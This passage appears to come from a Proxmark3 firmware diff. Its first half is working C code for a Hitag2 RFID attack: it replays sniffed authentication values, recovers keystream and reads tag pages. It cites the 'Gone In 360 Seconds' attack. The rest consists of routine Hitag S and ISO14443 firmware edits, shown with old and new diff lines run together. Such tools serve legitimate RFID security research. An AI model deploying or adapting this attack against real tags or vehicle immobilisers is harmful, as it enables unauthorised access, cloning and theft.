int ret = 0;
// get the UID
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID\r\n");
return false;
}
// START_AUTH kills active crypto session
CryptoActive = false;
// get the UID again
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_e_cmd:\r\n cannot get UID (2nd time)\r\n");
return false;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false))
{
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx nrar failed\r\n");
return false;
}
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, cmd, len, RWD_STATE_WAKING, false))
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_send_e_cmd:\r\n tx/rx cmd failed\r\n");
#endif
return false;
}
return true;
}
// hitag2crack_tx_rx transmits a message and receives a response.
// responsestr is the hexstring of the response;
// msg is the binarray of the message to send;
// state is the RWD state;
// reset indicates whether to reset RWD state after.
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset) {
uint8_t tmp[37];
int ret = 0;
// START_AUTH kills active crypto session
CryptoActive= false;
if(!rwd_send(msg, len, reset, BLOCK, state, RFIDlerConfig.FrameClock, 0, RFIDlerConfig.RWD_Wait_Switch_RX_TX, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, RFIDlerConfig.RWD_Wait_Switch_TX_RX))
{
UserMessage("hitag2crack_tx_rx: rwd_send failed\r\n");
return false;
}
// skip 1/2 bit to synchronise manchester
HW_Skip_Bits = 1;
ret = read_ask_data(RFIDlerConfig.FrameClock, RFIDlerConfig.DataRate, tmp, 37, RFIDlerConfig.Sync, RFIDlerConfig.SyncBits, RFIDlerConfig.Timeout, ONESHOT_READ, BINARY);
// check if response was a valid length (5 sync bits + 32 bits response)
if (ret == 37)
{
// check sync bits
if (memcmp(tmp, Hitag2Sync, 5) != 0)
{
UserMessage("hitag2crack_tx_rx: no sync\r\n");
return false;
}
// convert response to hexstring
binarraytohex(responsestr, tmp + 5, 32);
return true;
}
else
{
#ifdef RFIDLER_DEBUG
UserMessage("hitag2crack_tx_rx: wrong rx len\r\n");
#endif
return false;
}
return false;
}
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input) {
uint64_t sharedkey;
uint32_t serialnum;
uint32_t initvector;
uint8_t *spaceptr;
uint8_t *dataptr;
// extract vals from input
dataptr = input;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr)
{
UserMessage("/r/nformat is 'sharedkey UID nR' in hex\r\n");
return false;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 12)
{
UserMessage("/r/nsharedkey should be 48 bits long (12 hexchars)\r\n");
return false;
}
sharedkey = rev64(hexreversetoulonglong(dataptr));
dataptr = spaceptr+1;
spaceptr = strchr(dataptr, ' ');
if (!spaceptr)
{
UserMessage("/r/nno UID\r\n");
return false;
}
*spaceptr = 0x00;
if (strlen(dataptr) != 8)
{
UserMessage("/r/nUID should be 32 bits long (8 hexchars)\r\n");
return false;
}
serialnum = rev32(hexreversetoulong(dataptr));
dataptr = spaceptr+1;
if (strlen(dataptr) != 8)
{
UserMessage("/r/nnR should be 32 bits long (8 hexchars)\r\n");
return false;
}
initvector = rev32(hexreversetoulong(dataptr));
// start up crypto engine
hitag2_init(&Hitag_Crypto_State, sharedkey, serialnum, initvector);
strcpy(response, "Success\r\n");
return true;
}
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex) {
uint8_t bin[32];
uint8_t binhex[9];
uint8_t binstr[33];
uint32_t binulong;
if (strlen(hex) != 8)
{
UserMessage("/r/nhex must be 32bits (8 hex chars)\r\n");
return false;
}
binulong = hextoulong(hex);
ulongtobinarray(bin, hitag2_crypt(binulong, 32), 32);
binarraytobinstring(binstr, bin, 32);
binarraytohex(binhex, bin, 32);
// UserMessage("ar = %s\r\n", binstr);
// UserMessage("arhex = %s\r\n", binhex);
strcpy(response, binhex);
return true;
}
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *e_binstr) {
uint8_t bin[32];
uint8_t e_bin[32];
uint8_t binstr[33];
uint32_t binulong;
int len;
len = strlen(e_binstr);
if (len > 32)
{
UserMessage("\r\nbinary string must be <= 32 bits\r\n");
return false;
}
binstringtobinarray(e_bin, e_binstr);
binulong = binarraytoulong(e_bin, len);
ulongtobinarray(bin, hitag2_crypt(binulong, len), len);
binarraytobinstring(binstr, bin, len);
strcpy(response, binstr);
return true;
}
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex) {
// XOR pad so encrypt == decrypt :)
return hitag2crack_decrypt_hex(response, hex);
}
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *e_binstr) {
return hitag2crack_decrypt_bin(response, e_binstr);
}
// hitag2_keystream uses the first crack algorithm described in the paper,
// Gone In 360 Seconds by Verdult, Garcia and Balasch, to retrieve 2048 bits
// of keystream.
// response is a multi-line text response containing the hex of the keystream;
// nrarhex is a string containing hex representations of the 32 bit nR and aR
// values (separated by a space) snooped using SNIFF-PWM.
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex) {
uint8_t uidhex[9];
uint8_t uid[32];
uint8_t nrar[64];
uint8_t e_firstcmd[10];
uint8_t e_page0cmd[10];
// uint8_t keybits[2080];
uint8_t *keybits = DataBuff;
uint8_t keybitshex[67];
int kslen;
int ksoffset;
uint8_t pagehex[9];
uint8_t temp[20];
int i;
uint8_t *spaceptr = NULL;
/*
keybits = malloc(2080);
if (!keybits) {
UserMessage("cannot malloc keybits\r\n");
return false;
}
*/
// get uid as hexstring
if(!hitag2_get_uid(uidhex))
{
UserMessage("Cannot get UID\r\n");
return false;
}
// convert uid hexstring to binarray
hextobinarray(uid, uidhex);
// convert nR and aR hexstrings to binarray
spaceptr = strchr(nrarhex, ' ');
if (!spaceptr)
{
UserMessage("Please supply a valid nR aR pair\r\n");
return false;
}
*spaceptr = 0x00;
if (hextobinarray(nrar, nrarhex) != 32)
{
UserMessage("nR is not 32 bits long\r\n");
return false;
}
if (hextobinarray(nrar + 32, spaceptr + 1) != 32)
{
UserMessage("aR is not 32 bits long\r\n");
return false;
}
// find a valid encrypted command
if (!hitag2crack_find_valid_e_cmd(e_firstcmd, nrar))
{
UserMessage("Cannot find a valid encrypted command\r\n");
return false;
}
// find the 'read page 0' command and recover key stream
if (!hitag2crack_find_e_page0_cmd(keybits, e_firstcmd, nrar, uid))
{
UserMessage("Cannot find encrypted 'read page0' command\r\n");
return false;
}
// using the 40 bits of keystream in keybits, sending commands with ever
// increasing lengths to acquire 2048 bits of key stream.
kslen = 40;
while (kslen < 2048)
{
ksoffset = 0;
if (!hitag2crack_send_auth(nrar))
{
UserMessage("hitag2crack_send_auth failed\r\n");
return false;
}
// while we have at least 52 bits of keystream, consume it with
// extended read page 0 commands. 52 = 10 (min command len) +
// 32 (response) + 10 (min command len we'll send)
while ((kslen - ksoffset) >= 52)
{
// consume the keystream, updating ksoffset as we go
if (!hitag2crack_consume_keystream(keybits, kslen, &ksoffset, nrar))
{
UserMessage("hitag2crack_consume_keystream failed\r\n");
return false;
}
}
// send an extended command to retrieve more keystream, updating kslen
// as we go
if (!hitag2crack_extend_keystream(keybits, &kslen, ksoffset, nrar, uid))
{
UserMessage("hitag2crack_extend_keystream failed\r\n");
return false;
}
UserMessage("Recovered %d bits of keystream\r\n", kslen);
}
for (i=0; i<2048; i+=256)
{
binarraytohex(keybitshex, keybits + i, 256);
UserMessage("%s\r\n", keybitshex);
}
response[0] = 0x00;
return true;
}
// hitag2crack_send_auth replays the auth and returns.
// nrar is the 64 bit binarray of the nR aR pair;
bool hitag2crack_send_auth(uint8_t *nrar) {
uint8_t uid[9];
uint8_t e_page3str[9];
// get the UID
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_auth:\r\n cannot get UID\r\n");
return false;
}
// START_AUTH kills active crypto session
CryptoActive = false;
// get the UID again
if(!hitag2_get_uid(uid))
{
UserMessage("hitag2crack_send_auth:\r\n cannot get UID (2nd time)\r\n");
return false;
}
// send nrar and receive (useless) encrypted page 3 value
if (!hitag2crack_tx_rx(e_page3str, nrar, 64, RWD_STATE_WAKING, false))
{
UserMessage("hitag2crack_send_auth:\r\n tx/rx nrar failed\r\n");
return false;
}
return true;
}
// hitag2crack_consume_keystream sends an extended command (up to 510 bits in
// length) to consume keystream.
// keybits is the binarray of keystream bits;
// kslen is the length of keystream;
// ksoffset is a pointer to the current keystream offset (updated by this fn);
// nrar is the 64 bit binarray of the nR aR pair.
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar) {
int conlen;
int numcmds;
int i;
uint8_t ext_cmd[510];
uint8_t e_ext_cmd[510];
uint8_t responsestr[9];
// calculate the length of keybits to consume with the extended command.
// 42 = 32 bit response + 10 bit command reserved for next command. conlen
// cannot be longer than 510 bits to fit into the small RWD buffer.
conlen = kslen - *ksoffset - 42;
if (conlen < 10)
{
UserMessage("hitag2crack_consume_keystream:\r\n conlen < 10\r\n");
return false;
}
// sanitise conlen
if (conlen > 510)
{
conlen = 510;
}
// calculate how many repeated commands to send in this extended command.
numcmds = conlen / 10;
// build extended command
for (i=0; i<numcmds; i++)
{
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + *ksoffset, numcmds * 10);
// send encrypted command
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false))
{
UserMessage("hitag2crack_consume_keystream:\r\n tx/rx cmd failed\r\n");
return false;
}
// test response
if (strcmp(responsestr, ERROR_RESPONSE) == 0)
{
UserMessage("hitag2crack_consume_keystream:\r\n got error response from card\r\n");
return false;
}
// dont bother decrypting the response - we already know the keybits
// update ksoffset with command length and response
*ksoffset += (numcmds * 10) + 32;
}
// hitag2crack_extend_keystream sends an extended command to retrieve more keybits.
// keybits is the binarray of the keystream bits;
// kslen is a pointer to the current keybits length;
// ksoffset is the offset into the keybits array;
// nrar is the 64 bit binarray of the nR aR pair;
// uid is the 32 bit binarray of the UID.
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid) {
int cmdlen;
int numcmds;
uint8_t ext_cmd[510];
uint8_t e_ext_cmd[510];
uint8_t responsestr[9];
uint8_t e_response[32];
int i;
// calc number of command iterations to send
cmdlen = *kslen - ksoffset;
if (cmdlen < 10)
{
UserMessage("hitag2crack_extend_keystream:\r\n cmdlen < 10\r\n");
return false;
}
numcmds = cmdlen / 10;
// build extended command
for (i=0; i<numcmds; i++)
{
binstringtobinarray(ext_cmd + (i * 10), READP0CMD);
}
// xor extended cmd with keybits
hitag2crack_xor(e_ext_cmd, ext_cmd, keybits + ksoffset, numcmds * 10);
// send extended encrypted cmd
if (!hitag2crack_tx_rx(responsestr, e_ext_cmd, numcmds * 10, RWD_STATE_WAKING, false))
{
UserMessage("hitag2crack_extend_keystream:\r\n tx/rx cmd failed\r\n");
return false;
}
// test response
if (strcmp(responsestr, ERROR_RESPONSE) == 0)
{
UserMessage("hitag2crack_extend_keystream:\r\n got error response from card\r\n");
return false;
}
// convert response to binarray
hextobinarray(e_response, responsestr);
// recover keystream from encrypted response
hitag2crack_xor(keybits + ksoffset + (numcmds * 10), e_response, uid, 32);
// update kslen
*kslen = ksoffset + (numcmds * 10) + 32;
return true;
}
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive) {
uint8_t tmp[9];
int i;
response[0] = '\0';
// auth to tag
if (hitag2_crypto_auth(tmp, key))
{
// read tag, one page at a time
for (i= 0; i <= 7; ++i)
{
if(!read_tag(tmp, i, i))
{
// if read fails, it could be because of auth,
// so try to reauth
if (!hitag2_crypto_auth(tmp, key))
{
// if we can't reauth, it's a real failure
return false;
}
// temp failure (probably due to page protections)
strcpy(tmp, "XXXXXXXX");
}
// page contents are in tmp
strcat(response, tmp);
}
if (interactive)
{
tmp[8]= '\0';
for(i= 0; i <= 7 ; ++i)
{
UserMessageNum("%d: ", i);
memcpy(tmp, response + (i * 8), 8);
UserMessage("%s\r\n", tmp);
}
UserMessage("%s", "\r\n");
}
else
{
hitag2_nvm_store_tag(response);
}
return true;
}
else
{
return false;
}
}

31
armsrc/hitag2crack.h Normal file
View file

@ -0,0 +1,31 @@
//-----------------------------------------------------------------------------
// Kevin Sheldrake <kev@headhacking.com>, Aug 2018
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// Definitions hitag2 attack functions
//-----------------------------------------------------------------------------
bool hitag2_crack(uint8_t *response, uint8_t *nrarhex);
bool hitag2crack_find_valid_e_cmd(uint8_t e_cmd[], uint8_t nrar[]);
bool hitag2crack_find_e_page0_cmd(uint8_t keybits[], uint8_t e_firstcmd[], uint8_t nrar[], uint8_t uid[]);
bool hitag2crack_test_e_p0cmd(uint8_t *keybits, uint8_t *nrar, uint8_t *e_cmd, uint8_t *uid, uint8_t *e_uid);
void hitag2crack_xor(uint8_t *target, uint8_t *source, uint8_t *pad, unsigned int len);
bool hitag2crack_read_page(uint8_t *responsestr, uint8_t pagenum, uint8_t *nrar, uint8_t *keybits);
bool hitag2crack_send_e_cmd(uint8_t *responsestr, uint8_t *nrar, uint8_t *cmd, int len);
bool hitag2crack_tx_rx(uint8_t *responsestr, uint8_t *msg, int len, int state, bool reset);
bool hitag2crack_rng_init(uint8_t *response, uint8_t *input);
bool hitag2crack_decrypt_hex(uint8_t *response, uint8_t *hex);
bool hitag2crack_decrypt_bin(uint8_t *response, uint8_t *hex);
bool hitag2crack_encrypt_hex(uint8_t *response, uint8_t *hex);
bool hitag2crack_encrypt_bin(uint8_t *response, uint8_t *hex);
bool hitag2_keystream(uint8_t *response, uint8_t *nrarhex);
bool hitag2crack_send_auth(uint8_t *nrar);
bool hitag2crack_consume_keystream(uint8_t *keybits, int kslen, int *ksoffset, uint8_t *nrar);
bool hitag2crack_extend_keystream(uint8_t *keybits, int *kslen, int ksoffset, uint8_t *nrar, uint8_t *uid);
bool hitag2_reader(uint8_t *response, uint8_t *key, bool interactive);

View file

@ -953,6 +953,13 @@ void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data) {
tag.max_page = 8; tag.max_page = 8;
if ((tag.pages[1][3] & 0x2) == 0 && (tag.pages[1][3] & 0x1) == 0) if ((tag.pages[1][3] & 0x2) == 0 && (tag.pages[1][3] & 0x1) == 0)
tag.max_page = 0; tag.max_page = 0;
if (DBGLEVEL >= DBG_EXTENDED)
for (i = 0; i < tag.max_page; i++)
Dbprintf("Page[%2d]: %02X %02X %02X %02X", i,
(tag.pages[i][3]) & 0xff,
(tag.pages[i][2]) & 0xff,
(tag.pages[i][1]) & 0xff,
tag.pages[i][0] & 0xff);
//con1 //con1
tag.auth = 0; tag.auth = 0;
if ((tag.pages[1][2] & 0x80) == 0x80) if ((tag.pages[1][2] & 0x80) == 0x80)
@ -1145,7 +1152,7 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) {
int reset_sof = 1; int reset_sof = 1;
int t_wait = HITAG_T_WAIT_MAX; int t_wait = HITAG_T_WAIT_MAX;
bool bStop = false; bool bStop = false;
int sendNum = 0; int pageNum = 0;
unsigned char mask = 1; unsigned char mask = 1;
unsigned char crc; unsigned char crc;
unsigned char pageData[32]; unsigned char pageData[32];
@ -1265,15 +1272,15 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) {
tag.tstate = HT_READING_PAGE; tag.tstate = HT_READING_PAGE;
txlen = 20; txlen = 20;
crc = CRC_PRESET; crc = CRC_PRESET;
tx[0] = 0xc0 + (sendNum / 16); tx[0] = 0xc0 + (pageNum / 16);
calc_crc(&crc, tx[0], 8); calc_crc(&crc, tx[0], 8);
calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); calc_crc(&crc, 0x00 + ((pageNum % 16) * 16), 4);
tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); tx[1] = 0x00 + ((pageNum % 16) * 16) + (crc / 16);
tx[2] = 0x00 + (crc % 16) * 16; tx[2] = 0x00 + (crc % 16) * 16;
} else if (tag.pstate == HT_SELECTED } else if (tag.pstate == HT_SELECTED
&& tag.tstate == HT_READING_PAGE && tag.tstate == HT_READING_PAGE
&& rxlen > 0) { && rxlen > 0) {
//save received data //save received data - 40 bits
z = 0; z = 0;
for (i = 0; i < 5; i++) { for (i = 0; i < 5; i++) {
for (j = 0; j < 8; j++) { for (j = 0; j < 8; j++) {
@ -1284,38 +1291,38 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) {
} }
} }
k = 0; k = 0;
for (i = 4; i < 36; i++) { for (i = 4; i < 36; i++) { // ignore first 4 bits: SOF (actualy 1 or 6 depending on response protocol)
pageData[k] = response_bit[i]; pageData[k] = response_bit[i];
k++; k++;
} }
for (i = 0; i < 4; i++) for (i = 0; i < 4; i++) // set page bytes to 0
tag.pages[sendNum / 4][sendNum % 4] = 0x0; tag.pages[pageNum][i] = 0x0;
for (i = 0; i < 4; i++) { for (i = 0; i < 4; i++) { // set page bytes from recieved bits
tag.pages[sendNum / 4][sendNum % 4] += ((pageData[i * 8] << 7) tag.pages[pageNum][i] += ((pageData[i * 8] << 7)
| (pageData[1 + (i * 8)] << 6) | (pageData[1 + (i * 8)] << 6)
| (pageData[2 + (i * 8)] << 5) | (pageData[2 + (i * 8)] << 5)
| (pageData[3 + (i * 8)] << 4) | (pageData[3 + (i * 8)] << 4)
| (pageData[4 + (i * 8)] << 3) | (pageData[4 + (i * 8)] << 3)
| (pageData[5 + (i * 8)] << 2) | (pageData[5 + (i * 8)] << 2)
| (pageData[6 + (i * 8)] << 1) | pageData[7 + (i * 8)]) | (pageData[6 + (i * 8)] << 1)
<< (i * 8); | pageData[7 + (i * 8)]);
} }
if (tag.auth && tag.LKP && sendNum == 1) { if (tag.auth && tag.LKP && pageNum == 1) {
Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, pwdh0, Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, pwdh0,
(tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, (tag.pages[pageNum][2]) & 0xff,
(tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, (tag.pages[pageNum][1]) & 0xff,
tag.pages[sendNum / 4][sendNum % 4] & 0xff); tag.pages[pageNum][0] & 0xff);
} else { } else {
Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum,
(tag.pages[sendNum / 4][sendNum % 4] >> 24) & 0xff, (tag.pages[pageNum][3]) & 0xff,
(tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, (tag.pages[pageNum][2]) & 0xff,
(tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, (tag.pages[pageNum][1]) & 0xff,
tag.pages[sendNum / 4][sendNum % 4] & 0xff); tag.pages[pageNum][0] & 0xff);
} }
sendNum++; pageNum++;
//display key and password if possible //display key and password if possible
if (sendNum == 2 && tag.auth == 1 && tag.LKP) { if (pageNum == 2 && tag.auth == 1 && tag.LKP) {
if (htf == RHTSF_KEY) { if (htf == RHTSF_KEY) {
Dbprintf("Page[ 2]: %02X %02X %02X %02X", Dbprintf("Page[ 2]: %02X %02X %02X %02X",
(uint8_t)(key >> 8) & 0xff, (uint8_t)(key >> 8) & 0xff,
@ -1334,16 +1341,18 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) {
Dbprintf("Page[ 2]: __ __ __ __"); Dbprintf("Page[ 2]: __ __ __ __");
Dbprintf("Page[ 3]: __ __ __ __"); Dbprintf("Page[ 3]: __ __ __ __");
} }
// since page 2+3 are not accessible when LKP == 1 and AUT == 1 fastforward to next readable page
pageNum = 4;
} }
txlen = 20; txlen = 20;
crc = CRC_PRESET; crc = CRC_PRESET;
tx[0] = 0xc0 + (sendNum / 16); tx[0] = 0xc0 + (pageNum / 16);
calc_crc(&crc, tx[0], 8); calc_crc(&crc, tx[0], 8);
calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); calc_crc(&crc, 0x00 + ((pageNum % 16) * 16), 4);
tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); tx[1] = 0x00 + ((pageNum % 16) * 16) + (crc / 16);
tx[2] = 0x00 + (crc % 16) * 16; tx[2] = 0x00 + (crc % 16) * 16;
if (sendNum >= tag.max_page) { if (pageNum >= tag.max_page) {
bStop = !false; bStop = !false;
} }
} }
@ -1943,6 +1952,11 @@ void check_challenges(bool file_given, uint8_t *data) {
u1++; u1++;
} else if (STATE == 2 && rxlen >= 44) { } else if (STATE == 2 && rxlen >= 44) {
Dbprintf("Challenge success: %02X%02X%02X%02X %02X%02X%02X%02X",
unlocker[u1 - 1][0], unlocker[u1 - 1][1],
unlocker[u1 - 1][2], unlocker[u1 - 1][3],
unlocker[u1 - 1][4], unlocker[u1 - 1][5],
unlocker[u1 - 1][6], unlocker[u1 - 1][7]);
STATE = 0; STATE = 0;
} }

View file

@ -552,8 +552,6 @@ RAMFUNC int ManchesterDecoding_Thinfilm(uint8_t bit) {
return false; // not finished yet, need more data return false; // not finished yet, need more data
} }
//============================================================================= //=============================================================================
// Finally, a `sniffer' for ISO 14443 Type A // Finally, a `sniffer' for ISO 14443 Type A
// Both sides of communication! // Both sides of communication!
@ -717,6 +715,8 @@ void RAMFUNC SniffIso14443a(uint8_t param) {
} }
} // end main loop } // end main loop
FpgaDisableTracing();
if (DBGLEVEL >= DBG_ERROR) { if (DBGLEVEL >= DBG_ERROR) {
Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len); Dbprintf("maxDataLen=%d, Uart.state=%x, Uart.len=%d", maxDataLen, Uart.state, Uart.len);
Dbprintf("traceLen=" _YELLOW_("%d")", Uart.output[0]="_YELLOW_("%08x"), BigBuf_get_traceLen(), (uint32_t)Uart.output[0]); Dbprintf("traceLen=" _YELLOW_("%d")", Uart.output[0]="_YELLOW_("%08x"), BigBuf_get_traceLen(), (uint32_t)Uart.output[0]);
@ -1669,9 +1669,6 @@ static void TransmitFor14443a(const uint8_t *cmd, uint16_t len, uint32_t *timing
LastTimeProxToAirStart = ThisTransferTime; LastTimeProxToAirStart = ThisTransferTime;
} }
// clear TXRDY
AT91C_BASE_SSC->SSC_THR = SEC_Y;
uint16_t c = 0; uint16_t c = 0;
while (c < len) { while (c < len) {
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_TXRDY)) {
@ -1790,7 +1787,13 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
ADC_MODE_PRESCALE(63) | ADC_MODE_PRESCALE(63) |
ADC_MODE_STARTUP_TIME(1) | ADC_MODE_STARTUP_TIME(1) |
ADC_MODE_SAMPLE_HOLD_TIME(15); ADC_MODE_SAMPLE_HOLD_TIME(15);
#if defined RDV4
AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF_RDV40);
#else
AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF); AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ADC_CHAN_HF);
#endif
// start ADC // start ADC
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
@ -1814,12 +1817,19 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
++check; ++check;
// test if the field exists // test if the field exists
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) { #if defined RDV4
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF_RDV40)) {
analogCnt++; analogCnt++;
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF];
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF_RDV40];
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
if (analogCnt >= 32) { if (analogCnt >= 32) {
if ((MAX_ADC_HF_VOLTAGE_RDV40 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) { if ((MAX_ADC_HF_VOLTAGE_RDV40 * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
if (timer == 0) { if (timer == 0) {
timer = GetTickCount(); timer = GetTickCount();
} else { } else {
@ -1835,6 +1845,35 @@ int EmGetCmd(uint8_t *received, uint16_t *len, uint8_t *par) {
analogAVG = 0; analogAVG = 0;
} }
} }
#else
if (AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ADC_CHAN_HF)) {
analogCnt++;
analogAVG += AT91C_BASE_ADC->ADC_CDR[ADC_CHAN_HF];
AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START;
if (analogCnt >= 32) {
if ((MAX_ADC_HF_VOLTAGE * (analogAVG / analogCnt) >> 10) < MF_MINFIELDV) {
if (timer == 0) {
timer = GetTickCount();
} else {
// 50ms no field --> card to idle state
if (GetTickCountDelta(timer) > 50) {
return 2;
}
}
} else {
timer = 0;
}
analogCnt = 0;
analogAVG = 0;
}
}
#endif
// receive and test the miller decoding // receive and test the miller decoding
if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) { if (AT91C_BASE_SSC->SSC_SR & (AT91C_SSC_RXRDY)) {
@ -2649,6 +2688,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
if (!(param & ISO14A_NO_SELECT)) { if (!(param & ISO14A_NO_SELECT)) {
iso14a_card_select_t *card = (iso14a_card_select_t *)buf; iso14a_card_select_t *card = (iso14a_card_select_t *)buf;
arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS); arg0 = iso14443a_select_card(NULL, card, NULL, true, 0, param & ISO14A_NO_RATS);
FpgaDisableTracing();
reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t)); reply_mix(CMD_ACK, arg0, card->uidlen, 0, buf, sizeof(iso14a_card_select_t));
if (arg0 == 0) if (arg0 == 0)
goto OUT; goto OUT;
@ -2661,6 +2702,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
if ((param & ISO14A_APDU)) { if ((param & ISO14A_APDU)) {
uint8_t res; uint8_t res;
arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res); arg0 = iso14_apdu(cmd, len, (param & ISO14A_SEND_CHAINING), buf, &res);
FpgaDisableTracing();
reply_old(CMD_ACK, arg0, res, 0, buf, sizeof(buf)); reply_old(CMD_ACK, arg0, res, 0, buf, sizeof(buf));
} }
@ -2705,6 +2748,8 @@ void ReaderIso14443a(PacketCommandNG *c) {
} }
} }
arg0 = ReaderReceive(buf, par); arg0 = ReaderReceive(buf, par);
FpgaDisableTracing();
reply_old(CMD_ACK, arg0, 0, 0, buf, sizeof(buf)); reply_old(CMD_ACK, arg0, 0, 0, buf, sizeof(buf));
} }
@ -3016,6 +3061,8 @@ void ReaderMifare(bool first_try, uint8_t block, uint8_t keytype) {
if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requests: %u", i); if (DBGLEVEL >= DBG_EXTENDED) Dbprintf("Number of sent auth requests: %u", i);
FpgaDisableTracing();
struct { struct {
int32_t isOK; int32_t isOK;
uint8_t cuid[4]; uint8_t cuid[4];
@ -3273,6 +3320,7 @@ void DetectNACKbug(void) {
// num_nacks = number of nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ? // num_nacks = number of nacks recieved. should be only 1. if not its a clone card which always sends NACK (parity == 0) ?
// i = number of authentications sent. Not always 256, since we are trying to sync but close to it. // i = number of authentications sent. Not always 256, since we are trying to sync but close to it.
FpgaDisableTracing();
uint8_t *data = BigBuf_malloc(4); uint8_t *data = BigBuf_malloc(4);
data[0] = isOK; data[0] = isOK;

View file

@ -96,6 +96,9 @@ typedef struct {
# define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len)) # define CheckCrc14A(data, len) check_crc(CRC_14443_A, (data), (len))
#endif #endif
void iso14a_set_timeout(uint32_t timeout);
uint32_t iso14a_get_timeout(void);
void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par); void GetParity(const uint8_t *pbtCmd, uint16_t len, uint8_t *par);
tDemod14a *GetDemod14a(void); tDemod14a *GetDemod14a(void);

View file

@ -635,7 +635,12 @@ void SimulateIso14443bTag(uint32_t pupi) {
// find reader field // find reader field
if (cardSTATE == SIM_NOFIELD) { if (cardSTATE == SIM_NOFIELD) {
#if defined RDV4
vHf = (MAX_ADC_HF_VOLTAGE_RDV40 * AvgAdc(ADC_CHAN_HF_RDV40)) >> 10;
#else
vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10; vHf = (MAX_ADC_HF_VOLTAGE * AvgAdc(ADC_CHAN_HF)) >> 10;
#endif
if (vHf > MF_MINFIELDV) { if (vHf > MF_MINFIELDV) {
cardSTATE = SIM_IDLE; cardSTATE = SIM_IDLE;
LED_A_ON(); LED_A_ON();
@ -1165,6 +1170,9 @@ uint8_t iso14443b_apdu(uint8_t const *message, size_t message_length, uint8_t *r
CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no CodeAndTransmit14443bAsReader(message_frame, message_length + 4); //no
// get response // get response
